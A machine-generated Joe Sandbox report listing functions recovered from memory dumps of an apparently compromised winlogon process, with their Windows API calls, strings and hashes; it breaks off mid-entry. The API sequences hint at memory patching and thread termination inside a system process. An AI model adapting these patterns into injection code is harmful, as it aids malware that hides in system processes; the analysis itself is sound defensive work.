Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: 81a05c6f5631c5457e9fe2b42ee4983d0892a68f7a2414799b655d9ba0bc122a
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 91116028305EA4A2FA54A7FDA94D32922526F487F2F14CF24A8360BEDADE38D455C201

Function 00000225DC64D3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64D3DF
FlsSetValue.KERNEL32(?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64D415
FlsSetValue.KERNEL32(?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64D442
FlsSetValue.KERNEL32(?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64D453
FlsSetValue.KERNEL32(?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64D464
SetLastError.KERNEL32(?,?,?,00000225DC64DAE5,?,?,?,?,00000225DC64DBA8), ref: 00000225DC64D47F

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: d7c3e1b3af68b237c83f6f8dcef22936f5b3b66116359f701a570614066f6f87
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 20115E2870DEA4A2FA54A7FEA55D32931526F447F2F14C3A4A93747BD6DE389441C201

Function 00000225DC671934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC67195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC671978
PathFindFileNameW.SHLWAPI ref: 00000225DC671987
lstrlenW.KERNEL32 ref: 00000225DC671993
StrCpyW.SHLWAPI ref: 00000225DC6719A6
CloseHandle.KERNEL32 ref: 00000225DC6719B4

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: ff90e378864f0c6d412857972eafb711c87b153c10ed2fd60762ccb5c830d762
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 46016D29304F5092EB20DB9AA55835963A1FB88FC2F888135DF8D47794DE3CC58AC740

Function 00000225DC641934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC64195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641978
PathFindFileNameW.SHLWAPI ref: 00000225DC641987
lstrlenW.KERNEL32 ref: 00000225DC641993
StrCpyW.SHLWAPI ref: 00000225DC6419A6
CloseHandle.KERNEL32 ref: 00000225DC6419B4

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: 8503e0577ac3cef940353d0619d113767c251b8243f17370ba59280a411ad442
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 7B016929318E5092EB50DB9AA85835A63A1F788FC2F588134DF8E43758DF3CC989C740

Function 00000225DC673B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC6736B0), ref: 00000225DC673B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6736B0), ref: 00000225DC673B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6736B0), ref: 00000225DC673B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6736B0), ref: 00000225DC673B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6736B0), ref: 00000225DC673B97
TerminateThread.KERNEL32(?,?,?,?,?,00000225DC6736B0), ref: 00000225DC673BA6

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: 651bfc5cbe62972ce412047165ad2960c9386d91b47683266e397b6bd680f957
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: B70129AD611F64D2EB259FAAE80C71963A1BB58F47F448928CA4D0A7A4EF3DC048C705

Function 00000225DC643B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC6436B0), ref: 00000225DC643B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6436B0), ref: 00000225DC643B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6436B0), ref: 00000225DC643B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6436B0), ref: 00000225DC643B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6436B0), ref: 00000225DC643B97
TerminateThread.KERNEL32(?,?,?,?,?,00000225DC6436B0), ref: 00000225DC643BA6

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: 6d6dee9c8b988b8c960d8bf2efcbedb05f54f536ad4f7f4526b6a49934ac6788
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 3B01406D615F6492EB659FAAE81C71973A1BB58B47F148428CE4D07764EF3DC048C700

Function 00000225DC679418 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC679443
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6794D8
RtlUnwindEx.NTDLL ref: 00000225DC679527

Strings

f, xrefs: 00000225DC679456
csm, xrefs: 00000225DC6794BE

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction ID: 331cac13de4a1d5e5a87d7170c2ed0523d350219ef8271f1c272c534d0aa47de
Opcode Fuzzy Hash: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction Fuzzy Hash: 0951DF3A301A30AAEB14CFA9E448B5937E5F340B89F50C924EE4647BCCEB35C842C700

Function 00000225DC649418 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC649443
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6494D8
RtlUnwindEx.NTDLL ref: 00000225DC649527

Strings

csm, xrefs: 00000225DC6494BE
f, xrefs: 00000225DC649456

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction ID: f5823a9b22667114cd8b5c1aeae8c9b4c2165beb17b007c3293f5b40c57351a0
Opcode Fuzzy Hash: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction Fuzzy Hash: 5451D53A75DE20AAEB58CF69E448B5937A9F340B89F60C164DE4747B8CEB35C942C700

Function 00000225DC618835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6188D8

Strings

csm, xrefs: 00000225DC6188BE
displacement map', xrefs: 00000225DC6188D1
f, xrefs: 00000225DC618856

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: a6b0794c75841da20a792ef5e4afd1a9bd3fbb2aaa1a50b1d3e5b2669cfb1a4c
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: 3D51AC3A613A60AAEF54DBADE448B183795F348B9BF12CA24DE4647788EB34C841C701

Function 00000225DC618818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6188D8

Strings

csm, xrefs: 00000225DC6188BE
displacement map', xrefs: 00000225DC6188D1
f, xrefs: 00000225DC618856

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 1494e730365a2f0a6ae5db4802ee312b21c338a21c34c55c443d90b8e94265ba
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: 2E31E239612B60A6EB64DF6AE84871937A4F348BDBF16C614EE8B03785DB38C940C704

Function 00000225DC6719D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC6719F8
StrCmpNIW.SHLWAPI ref: 00000225DC671A12
lstrlenW.KERNEL32 ref: 00000225DC671A21
StrCpyW.SHLWAPI ref: 00000225DC671A36

Strings

\\?\, xrefs: 00000225DC671A06

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: d201a2ba865f6eb93eb8cbea412ab5212b5dd1f9b084a4e0371b795d7105d77c
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 75F04466304E91A2EB20CB99F5987596360FB44B9AF94C021DB4D469D5DE7CC688C700

Function 00000225DC6419D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC6419F8
StrCmpNIW.SHLWAPI ref: 00000225DC641A12
lstrlenW.KERNEL32 ref: 00000225DC641A21
StrCpyW.SHLWAPI ref: 00000225DC641A36

Strings

\\?\, xrefs: 00000225DC641A06

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: 2a562515401db3ec1847c4bd8a889b771188d13b04b24603220abf2d91229865
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 65F06876318EA1A2EB708FA9F5DC7597361F744B9AF94C020DB4946654DF7CC688C700

Function 00000225DC67330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000225DC672576), ref: 00000225DC67332E
StrCpyW.SHLWAPI ref: 00000225DC67333E
StrCatW.SHLWAPI ref: 00000225DC67334A
PathCombineW.SHLWAPI(?,?,00000000,00000225DC672576), ref: 00000225DC673358

Strings

\\.\pipe\, xrefs: 00000225DC673324

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: 632e31d88c0de5fdd8a951e1f5dec93f5dcd33d730e0f0e2fb0e884230447319
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: B8F08C68304FA0A2EA10CBDBB9081196264BF48FD2F88E131EF5A07B98CF3CC485C701

Function 00000225DC67C0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC67C0ED
GetProcAddress.KERNEL32 ref: 00000225DC67C103
FreeLibrary.KERNEL32 ref: 00000225DC67C12A

Strings

mscoree.dll, xrefs: 00000225DC67C0E4
CorExitProcess, xrefs: 00000225DC67C0FC

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: 42bc6e568892c425fe8218c574faa936cf8aed9afda0bcf8071f2235d0a94ca1
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: 22F06D79311E14B1EE10CBA8E8983696320AF897A7F949629DB6A466E4CF3CC048D701

Function 00000225DC64330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000225DC642576), ref: 00000225DC64332E
StrCpyW.SHLWAPI ref: 00000225DC64333E
StrCatW.SHLWAPI ref: 00000225DC64334A
PathCombineW.SHLWAPI(?,?,00000000,00000225DC642576), ref: 00000225DC643358

Strings

\\.\pipe\, xrefs: 00000225DC643324

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: 479b22c3b55937938ba476dbb00257b469cf8fbd5b694575692647eb7532fc0e
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 25F08C68328FA4A2EA108BDBB9081196265BB48FC2F18E070EF5B07B18CF3CC445C700

Function 00000225DC64C0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC64C0ED
GetProcAddress.KERNEL32 ref: 00000225DC64C103
FreeLibrary.KERNEL32 ref: 00000225DC64C12A

Strings

mscoree.dll, xrefs: 00000225DC64C0E4
CorExitProcess, xrefs: 00000225DC64C0FC

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: 3f20312927c5cf34273e228f224d8fa3b09680169f4820750eb3f37ccaa7208d
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: BEF06279329E14A1FE108BA8E85835A6320AB457A6F649215CA6A463E4CF3CC048C700

Function 00000225DC675500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC675586

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: 9458e87709c0537850aba61c84c8459c5dd43c87592c7d6318e3574cf0b6e6b4
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: 7802DC36219F94D6EBA0CB99E49835AB7A0F3C4795F104516EA8E87BA8DF7CC445CF00

Function 00000225DC675B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC675B56

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: a0d6f7afcc9799476be7dcadd02c4e3f00a8bd3a34571f263286be7a9c4d9ca7
